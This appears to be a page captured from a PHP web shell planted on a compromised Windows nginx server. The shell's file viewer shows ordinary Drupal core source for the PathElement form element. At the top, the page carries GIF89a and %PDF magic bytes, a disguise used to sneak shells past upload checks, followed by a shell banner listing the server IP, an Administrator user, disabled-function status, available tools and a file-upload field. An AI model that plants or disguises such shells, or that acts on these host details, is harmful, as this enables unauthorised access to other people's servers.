GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Student/JimMartinson/Lab12/drupal/core/lib/Drupal/Core/Render/Element/ |
Upload File : |
<?php namespace Drupal\Core\Render\Element; use Drupal\Core\Form\FormStateInterface; /** * Provides a matched path render element. * * Provides a form element to enter a path which can be optionally validated and * stored as either a \Drupal\Core\Url value object or a array containing a * route name and route parameters pair. * * @FormElement("path") */ class PathElement extends Textfield { /** * Do not convert the submitted value from the user-supplied path. */ const CONVERT_NONE = 0; /** * Convert the submitted value into a route name and parameter pair. */ const CONVERT_ROUTE = 1; /** * Convert the submitted value into a \Drupal\Core\Url value object. */ const CONVERT_URL = 2; /** * {@inheritdoc} */ public function getInfo() { $info = parent::getInfo(); $class = get_class($this); $info['#validate_path'] = TRUE; $info['#convert_path'] = self::CONVERT_ROUTE; $info['#element_validate'] = [ [$class, 'validateMatchedPath'], ]; return $info; } /** * {@inheritdoc} */ public static function valueCallback(&$element, $input, FormStateInterface $form_state) { return NULL; } /** * Form element validation handler for matched_path elements. * * Note that #maxlength is validated by _form_validate() already. * * This checks that the submitted value matches an active route. */ public static function validateMatchedPath(&$element, FormStateInterface $form_state, &$complete_form) { if (!empty($element['#value']) && ($element['#validate_path'] || $element['#convert_path'] != self::CONVERT_NONE)) { /** @var \Drupal\Core\Url $url */ if ($url = \Drupal::service('path.validator')->getUrlIfValid($element['#value'])) { if ($url->isExternal()) { $form_state->setError($element, t('You cannot use an external URL, please enter a relative path.')); return; } if ($element['#convert_path'] == self::CONVERT_NONE) { // Url is valid, no conversion required. return; } // We do the value conversion here whilst the Url object is in scope // after validation has occurred. if ($element['#convert_path'] == self::CONVERT_ROUTE) { $form_state->setValueForElement($element, [ 'route_name' => $url->getRouteName(), 'route_parameters' => $url->getRouteParameters(), ]); return; } elseif ($element['#convert_path'] == self::CONVERT_URL) { $form_state->setValueForElement($element, $url); return; } } $form_state->setError($element, t('This path does not exist or you do not have permission to link to %path.', [ '%path' => $element['#value'], ])); } } }